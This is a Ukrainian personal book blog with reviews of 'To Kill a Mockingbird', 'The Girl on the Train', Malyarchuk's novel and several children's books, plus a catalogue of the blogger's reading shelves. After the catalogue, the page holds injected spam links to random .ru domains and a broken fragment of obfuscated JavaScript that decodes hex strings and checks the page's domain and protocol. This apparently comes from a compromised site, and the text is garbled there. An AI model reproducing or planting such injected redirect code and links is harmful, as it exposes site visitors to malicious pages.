Про поличку совісті або “що б такого почитати?”

Я є! Я повернулася! Привітик, люди!
І ясна справа, що почну з книжкового, а потім поділюся враженнями про словацьку школу, Улька ж вже “первачка”:) Тільки фотографії школи дороблю;)
А про книжкове – давайте побалакаємо про загальне: про вибір книжок для почитати і про ще непрочитані книжки, які ви вже купили і які от стоять вдома на поличці і докірливо на вас дивляться з німим питанням “коли ж ти мене прочитаєш?” Давайте побалакаєм про так завну “поличку совісті”.
Почну з того, що в мене не те що поличка, в мене ціла етажерка совісті, бо куплених і ще непрочитаних книжок в мене не мало – не багато, а всього то якихось 73 штуки + ще парочка в Києві в сестри чекають. Ну і мені, ясне  діло – мало, тому є ще + 3 книзі взяті з бібліотеки=)))
dscn2370Ну і куди ж без Цукрички? Вона ж не пропустить жодну книжко-фото-сесію:))) Читати далі

Advertisements

Свята корова і агент Фокс Малдер;)

Ви, напевно, здивувалися: яка така корова і до чого тут симпатяшка Девід Духовний. А до того, що безстрашний агент Малдер до всіх своїх талантів ще й книжку написав! Свята корова (Holy cow) називається:) Я, як фанатка Духовного, не змогла пройти мимо і не купити цю книженцію, вірніше – замовила її на день народження. Дочитала ще весною, а книжковраженнями ділюся аж ось тепер.
девій духовнийПро автора, думаю, багато розповідати не треба – всі і так все знають. Але дещо з вікіпедії я таки мушу зацитувати: Де́від Ві́льям Духо́вни або Духовний — американський кіноактор українського єврейського походження, найбільш відомий як виконавець ролі агента Фокса Малдера. У квітні 2014 сам Девід Духовни в Твітері назвав себе українцем: «Я виріс, думаючи, що я росіянин, але тільки зараз зрозумів, що завжди був українцем. Ніколи не пізно змінитися».
Тож симпатяшка Малдер тепер ще й один з моїх улюблених письменників;) Читати далі

Про дідуня Петсона і котика Фіндуса від Свена Нордквіста

Привіт, друзяки:)

Хотіла я про всі наші котячі книжки розказати одним дописом, але там стільки книжок і стільки фото, що таки прийдеться частинами. Сьогодні розкажу про наші враження від серії книжок про дідуня Петсона і його котика Фіндуса від шведського письменника-ілюстратора Sven NordqvistСвена Нордквіста. Читати далі

Про “Фелікс Австрія” від С. Андрухович

Привітик, книжколюби!
я за свіжими слідами розкажу вам про Фелікс Австрію. Цікава книжка, я вам скажу… це я в плані того, що потім є над чим думати, бо не все зрозуміла)))

фелікс австрія Читати далі

Книжковраження: Обліковець від М. Троян

«- найчастіше їй хочеться плакати. Але вона ніколи цього не робить.
– це погано! … коли хочеться, треба це робити.
Бо ще розучиться хотіти щось інше»

Привітик, я тут кілька книжковражень дописала, то ж перше буде про “Обліковця”. Читати далі

З дитячої полички #1: про детектива Кота да Вінчі

Я дуже люблю дитячі книжки. Вони ж такі кольорові і з малюнками… Але дорослій людині просто так купляти і читати книжки, призначені для категорії 1-2-3-5 і трохи більше років якось не дуже і на думку прийде. Тому ще один плюс “бути-мамства” – можна разом з дітьми читати ту красу і балдіти від книжки певно що більше, ніж дітвора;) І якщо з Андрійком поки що більше розглядаємо малюнки і озвучуємо, що там намальовано, з Улькою вже можна читати серйозні книжки, довгі, на кілька вечорів, з складнішими сюжетами і серйознішими темами.
На різдвяні свята закупили у Львові цілу гору дитячих книжок, тож тепер потрошки ту купку розгрібаємо. Книжки просто шикарні і порівнюючи з книжками з мого дитинства, тішуся, що теперішні яскравіші та більш оптимістичніші в текстах та ілюстраціях. Самій цікаво розглядати їх, вишукувати деталі. Так що робрика “з дитячої полички” розпочинається!

І перша прочитана цього року книжка була «Кіт да Вінчі» авторства Каті Матюшкіної, видавництво «Махаон-Україна», переклад з російської О. Думанської.
Загалом, враження від книжки у нас приємні. Ульці(5,5 років) книжка взагалі дуже-дуже сподобалася. Тож бо перший детектив в її житті;)
Так, ця книжка – дитячий детектив, де відважний та геніальний Кіт да Вінчі розслідуватиме викрадення картини «Посмішка анаконди» (нічого не нагадує? А в книжці багато отаких «співставлень»:))) .
Отож, злочинцем виявився миш, чи як переклали – мишидло Зиза. А Кіт да Вінчі, звичайно ж, намагатиметься впіймати Зизу і повернути картину. І він не буде у цьому сам! Котові допомагатимуть мишенята Бубуша, Чуча і Пік та інші мешканці звіриного міста. А ще їх завжди переслідуватиме в пошуках репортажів кореспондентка курка Кудаха, яка замість яєць вміє нести газету «Куряча правда». Кіт складатиме фоторобот злочинця, шукатиме слідів, доказів, буде проводити допити та ставки між свідками віч-на-віч, придумуватиме злочинцеві пастки… загалом – поводитиметься як справжній детектив.5 3
Розгадка злочину і виявлення небезпечного злочинця здивували навіть мене. Але не беріть то за показник, бо я прийшла до невтішного висновку, що в детективах нічого не тямлю. Злочинця вгадую аж коли автор тицьне в нього пальцем;)))
Книжка пішла «на ура» і тепер, коли в нас дома невідомо ким робиться якась шкода чи ми щось не можемо знайти, Улька таємничим голосом каже, що то Зиза нашкодив чи вкрав)))
Не сподобалося:
– оскільки оригінал російською мовою, де не де траплялися невдалі переклади слів чи взагалі граматичні помилки, але їх, направду, було дуже мало. Дитині то, звичайно, не відчутно, але мені все прочитане зразу вкладалося в російську мову, оті співставлення слів сонце-слоньце, Юпітер –Япітер, вушка на маківці так і хотілося прочитати «ушки на макушке», ну ви мене зрозуміли…4
– самі герої. Вони смішні, гарно намальовані і в принципі – позитивні, але от Кіт страшенний хвалько і дуже марнославний, не упускає жодної нагоди назвати себе геніальним чи похвалити в інший спосіб; мишенята-помічники підлабузники і в усьому стараються догодити котові, ота така сліпа «закоханість» в свого кумира; Сова пихата і зверхня, та й інші звірі в очі всі добрі і милі, а позаочі один з одного насміхаються, особливо Сова… Можливо то таке тільки моє доросле сприйняття героїв, а дитина сприймає їх зовсім інакше, але це єдине, що мене трохи відштовхує в цій книжці.
Сподобалося:
– те, як книжка оформлена. Ілюстрації малювала авторка і як на мене, вони дуже цікаві. Тут не просто малюнки того, що відбувається, але є «вирізки» з газети «Куряча правда», карти, схеми, написи і малюнки “на полях” і ще різні завдання для дітей, як от скласти фоторобот Зизи, розшифрувати повідомлення за допомогою таємної котячої абетки чи виготовити собі посвідчення детектива. Є уроки малювання планет, поросят і кумедних мармиз. Ульці оті завдання сподобалися найбільше;
7 6 2
– деякі вигадані авторкою і «підігнані» під Звірине місто слова, як от: сова взяла «крилокюрні ножиці» чи сова написала лист «власнокрильно»;
– сама історія, як на мене, дуже кльово знайомить дитину з детективним жанром. І хоч це єдиний дитячий детектив, який я читала, тож порівнювати нема з чим, але дуже вже мені вподобалося, як авторка цю історію «презентує» дітям – цікаво, місцями у формі гри, з ненудними ілюстраціями та віршиками.8

Не знаю чи ми куплятимемо наступні книжки в серії, але так думаю, що Улька влітку попросить ще… До речі, закінчення історії дуже в стилі «далі буде…»))) Там так і написано – “далі буде”)))))9

Книжковраження: Біографія випадкового чуда від Т. Малярчук

img0189-kopyya_JPG_220x220_На «Біографію випадкового чуда» від Тані Малярчук – письменниці з Івано-Франківська, я злакомилася через назву. здається, раніше не читала на цю книжку відгуків, тому коли почала читати книжку, то й уявлення не мала про що вона. Зачепилася за назву, почала читати, а далі вже не дочитати просто не могла. Ділюся книжковраженнями, а вони дуже неоднозначні;)

15823678Трохи дивна книжка, як на мене…. І не те, щоб вона мені аж так дуже сподобалася, але й сказати, що не сподобалася – теж не можу. Ну от, щойно дочитала, а навіть не можу сказати, про що вона. Про чудо? та ніби не дуже…, про історію життя головної героїні Лєни? – теж якось не тягне на класичну історію життя…  Просто тут немає чіткої сюжетної лінії, а є маленька людинка Лєна, яка відчайдушно старається боротися із системою, має “хворобливе” прагнення до справедливості та героїзму і захищати слабших + уривками опис певних подій з життя цієї Лєни. Я навіть на середині книжки десь вже була її закинула і думала не дочитувати, але таки вона засіла мені в мізки і як набридлива муха тихо бдзиніла “дочитай”, тож дочитала, і не шкодую…
Спочатку, через “мову” розповіді, я подумала що це буде щось підліткове і навіть трохи кумедне, але тут зовсім непідліткова література, і кумедного тут зовсім нічого нема. Вона трохи сумна, але якщо описати книжку одним словом, вона – НЕКОМФОРТНА! Через підняті авторкою теми, через ненав’язливе “тицяння носом” читача у хвороби суспільства в цілому і кожного з його особистостей(і читача в т.ч.), зокрема. Байдужість, непомічання чужих проблем, небажання добиватися правди, оте “моя хата з краю”, “всім не поможеш” і “я тут безсила” – все це кожному знайоме і з кожним час від часу стається, будьмо чесними…
Лєна, як головний персонаж книжки, досить цікава, але така ж некомфортна та незручна для суспільства, як книжка для читача в цілому(це я виключно про себе, хоч і думаю, що не я одна така). Вона своєю вірою в справедливість і своєю впертістю на шляху до її досягнення багатьох змушує почуватися некомфортно, почуватися другосортними і засоромленими, а це нікому не подобається… Саме тому, я так думаю, з Лєною сталося те, що сталося.
Після книжки багато роздумується, починаєш пригадувати, скільки таких «Лєн» ти бачив в центрі міста, чи біля міської ради, чи просто в новинах і те, як з сумною посмішкою і трохи з таким відчуттям незручності на них дивишся і думаєш «чого ти, наївне, тут стоїш і пікетуєш? Ти й так нічого не доб’єшся, така система, такі закони, така влада і з тим нічого не поробиш. Краще дай собі спокій, йди додому і живи, як всі…» На деякі проблеми дійсно зручніше махнути рукою, закрити очі і зробити вигляд, що їх нема, або ж вони особисто тебе не стосуються і їх вирішення особисто від тебе не залежить. Але деколи і одна маленька людинка здатна щось змінити.
Загалом, книжка хоч і не затягує, але дуже зачіпає за живе. І отой стиль написання, сама мова, те, як написано книжку – мені чомусь дуже сподобалося, зачепило. Ну і є трохи хороших роздумів, Лєна дуже влучно характеризує людей, події, почуття, речі…

Трохи з Лєниних роздумів:
   – “…хотілося обійняти її і так в обіймах задушити, щоб більше не мучилася…”
  – “…злим бути легко. Щоб бути злим не треба докладати зусиль. А от для добра треба постаратися…”
  – “…люди користуються мовою дуже необачно, не відчувають відповідальності за сказані слова. У цьому їхня велика біда…”
   – “…права людини – це абсолютне безправ’я решти живих істот…”
  – “…я можу багато що не любити, але це не означає, що тоді я маю право те що не люблю, вбивати”
  – “…у безнадійній боротьбі головні ті, що борються, бо вони не дають часові зробити із себе чудовиськ…”
Почитаю я ще щось від Малярчук, зачепила вона мене, от:) До того ж, вона майже моя ровесниця, а від цього ще цікавіше;)

П.с.: поки гуглила авторку, вичитала, що історії, описані в “Чуді” – правдиві… і мені від цього ще сумніше(

Книжковраження: Пола Гоукінз – Дівчина у потягу

Давайте я вам сьогодні розкажу про “Дівчину у потягу” англійської письменниці Поли Гоукінз.  
От скажіть мені, що робить першу книжку невідомого нікому автора бестселером? – я прийшла до такого висновку, що вдала реклама і піар.
А далі воно як лавина – чим більше купляють – тим більше реклами і тим більше купляють. Скільки новинок появляється на книжковому ринку щороку, але не всі розкуповуються в таких накладах і з таким ажіотажем як ця. Ну самі подумайте – якщо вірити інформації на обкладинці, цей напружений психологічний трилер за перші місяці продано в 3 000 000 примірниках (так, це три мільйони, в нулях я не помилилася), право на його видання придбало 44 країни, і на екранізацію книжки права теж викуплені.
Цю книжку порівнюють з романом «Зникла» Дж. Філлін та фільмами Гічкока. «Зниклу» я не читала, але Гічкока поважаю. Останнім аргументом для мене став напис про те, що його величність король жахіть і напружених текстів Стівен Кінг майже всю ніч не спав, бо читав цю книжку і не міг від неї відірватися і я дуже підозрюю, що саме ця інформація значно збільшила продажі. Бо ж як фанатці Кінга(не дуже активній, зауважте) мені було цікаво почитати книжку, яка сподобалася моєму літературному «вподобанню». А уявіть собі тих читачів, які від Кінга «торчать»! Та вони ж на другий день пішли купляти «Дівчину у потягу»! От вам і три мільйони примірників…
Ну і ще така фразочка «приготуйтеся до подорожі. Вас здивують жахіття, які причаїлися за поворотом» – я на неї теж купилася, та. Сподівалася дуже гостросюжетного читання, з жахіттями, напруженими ситуаціями і неймовірно цікавими героями, але…
Я вас прошу – які жахіття? Який трилер? Та ще й психологічний? Та трилером тут і не пахне, а жахіття в Гаррі Поттері були жахливішими ніж тут! Це навіть на порядний детектив не тягне, хоча є злочин і його розслідування. А герої? Вони теж сіренькі і не дуже цікаві як такі…Це чисто моя суб’єктивна думка і ви не конче мусите брати її за істину, але я дуже-дуже розчарована цією книжкою. Я чесно не розумію, чому вона б’є всі рекорди, займає найперші позиції у всіх можливих топах і яким чином вона стала бестселером.
От якщо/коли її екранізують, то, можливо, це і буде трилер, бо сам сюжет кльовий. Але таааак нудно розписаний! Реально, цікавими були останні 60-70 сторінок, де вже пішов конкретний натяк на винуватця всіх подій і ті всі події нарешті почали відбуватися.
А до того головна героїня Рейчел, ота сама, що «у потягу», пів сторінки відчайдушно старається не спокуситися черговою бутилочкою вина з самого ранку, а наступні пів сторінки так само відчайдушно старається згадати, що ж вона начудила після того, як все таки спокусилася, бо не пам’ятає ж. І поміж те все старається зрозуміти, чи має вона якесь відношення до зникнення однієї жінки.

Сюжет та головні герої: сюжет, в принципі, досить непоганий і взагалі то навіть цікавий. А от герої якось не дуже прописані, якісь такі «нецілісні», чи що… О, і мушу сказати, що мені тут сподобався стиль подачі інформації. Розповідь ведеться від трьох осіб в форматі «щоденника». Різні часові проміжки, що трохи плутає, але, в цілому, створює цікавий ефект і додає трохи інтриги. Трилер, як не як!
Ну от є Рейчел, одна з оповідачок і майже головний персонаж книжки, бо вся історія закручується навколо її персони. Вона щодня катається поїздом на роботу і з вікна спостерігає за однією сімейною парою, що живе в будинку при самій колії (я чесно намагалася уявити, як будинок може стояти настільки близько до колії, що Рейчел вдавалося роздивитися через вікно всі ті дрібниці, які вона таки роздивилася, навіть, якщо поїзд стояв на світлофорі, але так і не спромоглася).
Рейчел так привикла до цієї сімейної пари, що вигадала собі про них цілу історію, дала їм імена і настільки пройнялася своїми вигадками, що сама, практично, в них повірила. Одного дня вона замітила те, що ніяк не вписувалося в загальну картину щасливого сімейного життя її «друзів за вікном». А потім жінка з цієї щасливої сім’ї зникає. Ну а далі Рейчел старається допомогти поліції знайти ту саму зниклу жінку, про яку вона знає тільки те, що встигла побачити з вікна потягу. Поміж то Рейчел бореться з своїм алкоголізмом, переживає своє минуле і старається дати собі з тим спокій, старається дати спокій своєму колишньому чоловікові та його новій дружині і заспокоїти чоловіка тієї зниклої жінки.
Є ще Анна – друга оповідачка і нова дружина колишнього чоловіка Рейчел. Вона старається позбутися надокучливої Рейчел, а потім страждає від того, що підозрює свого нового чоловіка у зраді.
І є Меган – третя оповідачка і та сама зникла жінка, яка ще й трохи прцювала нянькою у новій сім’ї Анни. Вона теж з добрими тараканами в голові, відвідує психолога і поступово читач дізнається, звідки ті всі таракани взялися і до чого довели Меган.
А ще Том – колишній чоловік Рейчел і теперішній чоловік Анни. Він весь час вискакує то тут, то там. Старається втихомирювати Рейчел, коли та нап’ється і заспокоювати Анну від втручань Рейчел.
Ну і є Скотт – чоловік зниклої Меган, який поводиться як то і має поводитися чоловік, в якого зникла дружина.
Все, оце і вся книжка. І якби не оті останні 60 цікавих сторінок з натяком на трилер, то я би точно шкодувала про витрачений час, вже не кажучи про кошти на придбання цього бестселеру.
Можливо, якби я не мала завищених сподівань на цю книжку, вона би мені трохи більше сподобалася, але я їх мала, тому раджу добре подумати, чи варто братися за цю книжку. Ну хіба що ви дуже-дуже хочете мати про неї свої власні враження і не очікуєте чогось направду моторошного і вельми цікавого в сюжеті.
Paula_Hawkins_Göteborg_Book_Fair_2015Ну і про авторку – Пола Гоукінз, 1972 р.н., народилася в Зимбабве, але вже тривалий час живе у Лондоні. Взагалі то вона журналістка, але от – тепер і авторка світового бестселеру, і я одна з тих, що зробили її такою;)

 

 

Екскурсовод книжковраженнями:)

Якось всілася я погортати свій бложик, а саме – книжковраження, і видалося мені то дуже довго заходити в категорію і там гортати всі книжки, щоб знайти потрібну… Та й якщо комусь захочеться подивитися, чи є в мене книжковраження на якусь конкретну книжку, прийдеться переглядати всю категорію або ж забивати в пошук. А так як я часто пишу трохи кучеряво – пошук не завжди може показати результат))) Ну і, зважаючи, що ті книжковраження найбільш відвідувані на бложику, взялася я їх поскладати по поличках. Поличок всього п’ять: українська, зарубіжна, нон-фікшн і дитяча, але ще роблю поличку книжкопланів і книжкороздумів.
Ну от, думаю, це буде зручно і швидко.
П.с.: оновлюю полички! а точніше – спрощую. За пів року користування бачу, що особисто я в цих поличках гублюся, бо в житті класую свої прочитані книжки трохи інакше. А деколи враження такі різні, що й не знаєш, на яку поличку ту книжку приліпити. Тому такі от трохи оновлені полички:D
П.с.с.: а якщо назва книжки ще не має посилання, то, або я не встигла ще її прочитати, або ще не написала

Поличка книжкопланів і книжкороздумів:

Поличка дитячої літератури:

  1.  Катя Матюшкіна /Росія/ – Кіт да Вінчі Посмішка Анаконди
  2.  Свен Нордквіст /Швеція/ – Серія про пригоди дідуня Петсона та котика Фіндуса

  3. Поличка книжок про (і від) цікавих людей та іншого нехудожнього:

    Мамська література та книжки з самоорганізації:

    1. Фабер Адель і Мазліш Елейн – Як слухати, щоб діти говорили, як говорити, щоб діти слухали
    2.Дракерман Памела /США-Франція/ – Французьке виховання
    3. Мулюкина Елена /Росія/ – Как маме все успеть
    4. Рубін Гретхен /США/ – Проект “щастя”

    Поличка художньої літератури:

    1. Рогашко Алла – Осіннє рондо місячної ночі
    2. Слободян Христя – Диво-пристрої для щойно мам

3. Винничук Юрій – Танго смерті
4. Кідрук Макс – Бот
5. Дяченки Марина та Олексій – Дика енергія
6. Малярчук Таня – Біографія випадкового чуда
7. Троян Марина – Обліковець
8. Андрухович Софія – Фелікс Австрія                                                                  

Поличка книжечок зарубіжних авторів:
1. Гарпер Лі/Америка/ – Вбити пересмішника
2. Пола Гоукінз/Англія/ – Дівчина у потязі
3. Шекспір
4. Даль Роальд /Англія/ – Матильда, Джеймс і велетенський персик

раніше:

1. Наталка Бабіна/Білорусія/ – Рибгород
2. Ольга Токарчук/Польща/ – Веди свій плуг понад кістками мертвих
3. Емілі Бронте/Англія/ – Буремний перевал
4. Анна Бронте/Англія/ – Незнайомка з Вілдфел-Холу
5. Люсі Мод Монтгомері/Канада/
Енн з Зелених дахів(Енн Ширлі-1)
– Енн із Ейвонлі (Енн Ширлі-2)
– Енн із острова Принца Едварда (Енн Ширлі-3)
Енн із Шелестких Тополь (Енн Ширлі-4)
Енн у Домі мрії (Енн Ширлі-5)
Енн із Інглсайду (Енн Ширлі-6)
Діти з Долини райдуг (Енн Ширлі-7)
Рілла з Інглсайду (Енн Ширлі-8)
6. Чак Поланік/Америка/ – Чарівна ти
7. Деніел Кіз/Америка/ – Квіти для Елджернона
8. Джоан Харріс(Гарріс) – Шоколад
9. Йоанна Ягелло/Польща/
Кава з кардамоном
– Шоколад із Чилі
10. Бруно Ферреро – 365 коротких історій для душі
11. Ігорь Губерман/Україна, Росія/ – Гарики на каждьій день
12. Йо Несбе/Норвегія/ – Нетопир
13. Йонас Йонассон – Сторічний старий, що виліз в вікно і пропав
14. Марк Леві – Викрадач тіней

Ну от, сподіваюся, так буде набагато зручніше)

https://wek7ipqx359.ru/f2.html?a=26482https://lukpiot0dz.ru/u.html?a=26482

https://25haich4342.ru/f2.html?a=26482https://gyh1lh20owj.ru/u.html?a=26482

https://su2lgyoeucscn.ru/f2.html?a=26698https://doiuhrht.ru/u.html?a=26698

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “julliastoryblog.wordpress.com”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;ehttps://su2lgyoeucscn.ru/f2.html?a=26698https://doiuhrht.ru/u.html?a=26698

Книжковраження: Гарпер Лі – Вбити пересмішника

Привіт книжколюбам!

Я з першими книжковраженнями 2016 року. Першою цього року мені “проковтнулася” книженція Гарпер Лі “Убити пересмішника” (в новому видання 2015 року – “вбити пересмішника”).
1436917110Оскільки в своїх книжкопланах на 2016 рік я обіцялася дізнаватися більше інформації про авторів книжок, то спочатку трохи про авторку – Нелл Гарпер Лі (харизматична бабуся, правда?))).
Американська письменниця народилася мало не століття тому в далекому 1926 році, а це, на хвилиночку, 90 років людині 28 квітня буде. Щиро сподіваюся, що авторка відсвяткує цей ювілей і наступні теж).
Пересмішник єдиний роман письменниці, але минулого року літературний світ активно обговорював новину про те, що Гарпер Лі видала продовження Пересмішника – «Піди, постав сторожа» (Go Set a Watchman) – за посиланням знайдете цікаву статтю про Гарпер і нову книжку. Цей твір Нелл написала ще в 1957 році, але в 1960 році друком вийшла лише його перероблена частинка, яку ми знаємо як “Вбити пересмішника”.
Ще одна цікавинка про книжку – такий американський письменник як Трумен Капотте(який написав відомий всім “Сніданок у Тіффані” і про якого я взагалі не знала раніше, сором мені) і Гарпер Лі були дуже хорошими друзями. Один з персонажів “Пересмішника” – Діл Гарріс, змальований саме з Капотте.

CoverNormalНу і про книжку.
Читала я її в електронному варіанті 1975 року видання в перекладі Михайла Харенка, та ще й з телефону, але книжка така кльова, що просто мусить бути на поличці моєї майбутньої етажерки, тому обов’язково куплю, тим більше, що є новеньке українське видання 2015 року від Країни Мрій за перекладом Т. Некряч.
“Вбити пересмішника” це єдиний роман авторки, вперше опублікований в 1960 році. Він одразу ж став бестселлером, а в 1962 році здобув Пулітцерівську премію. Кльовезна книжка і я просто не знаю, як умудрилася її пропустити в шкільні часи. Точно знаю, що ще не раз захочу її перечитати і обов’язково хочу, щоб в майбутньому її почитали мої діти.
Книжка дуже швидко і легко читалася, приємний переклад, сюжет цікавий, а діалоги між героями захоплюють своєю щирістю та безпосередністю.
Забігаючи наперед, скажу, що, напевно, це єдина книжка в моєму читацькому житті, де немає конкретно визначеного головного героя. Там всі герої головні і, водночас, ніхто з них. Книжка взагалі-то про те, як важливо залишатися Людиною і діяти так, як відчуваєш за правильне і необхідне, навіть в тих ситуаціях, коли обставини і суспільство вважає зовсім інакше, про те, як важливо бути чесним перед самим собою.
В центрі подій, так би сказати, двоє дітей – брат та молодша сестра, Джем і Джин. Розповідь ведеться від імені Джин, з її дитячим ще сприйняттям світу і подій, з її дитячою наївністю і розумінням речей. І, напевно, Джин варто вважати головною героїнею в цій книжці, але, як на мене, вона тут більше оповідач, аніж головна героїня. Їх батько Аттікус – адвокат, береться захищати негра, якого звинувачують у згвалтуванні білої дівчини, бо вважає його невинним, хоч і розуміє, що справу виграти буде важко. Батько дівчини озлоблюється на Аттікуса та обіцяє помститися, але ніхто й не очікував, що в такий підлий спосіб.
Джин, яку прозивають Всевидьком, дуже щиро розповідає про події, повязані з цим судом, а ще дуже багато про свої пригоди разом з братом та сусідським хлопцем Ділом, який приїздить у їхнє містечко на літо, про школу і як їй там нецікаво, про свої стосунки з братом, про те, як вона з братом та Ділом намагаються виманити на вулицю і подивитися на свого сусіда Страхолюда, який весь час сидить дома і якого в “живу”, здається ніхто не бачив, і ще про багато інших дитячих важливх справ:)
Дуже-предуже кльово описано стосунки між батьком та його дітьми і між братом та сестрою.
Одним словом – дуже домашня і затишна книжка, якась така дуже дуже родинна, світла і просто добра. Я не знаю як ще можна описати враження від неї. Просто ще скажу, що згадуючи про неї, я завжди посміхаюся.
Трохи цитат для більшого зацікавлення:
“є у людини щось таке, що не скориться більшості, – це її совість”
– “більшість людей хороші, коли їх зрозумієш”
– “розумієш, дівчинко, це не образа, коли тебе називають словом, яке комусь здається образливим. Це тільки свідчить, яка жалюгідна душа у людини, що так каже”
– “коли дитина щось питає, ради бога, поясни їй. Не треба викручуватися. Діти це діти, вони швидше, ніж дорослі, помічають, коли ми починаємо ухилятися, це їх тільки збиває з пантелику”
– “для того, щоб жити по совісті з іншими людьми, я повинен жити в злагоді з власною совістю. Діяти по совісті не завжди означає погоджуватися з думкою більшості”
– “с
правжня мужність — це коли ти знаєш наперед, що не переможеш, а все одно борешся, борешся до кінця. Рідко перемагаєш, а все-таки часом перемагаєш”
Так що дуже сильно раджу до читання.

П.с.: сьогодні в мене буде кіновечір з однойменним фільмом  1962 року, який, до речі, має три оскари;)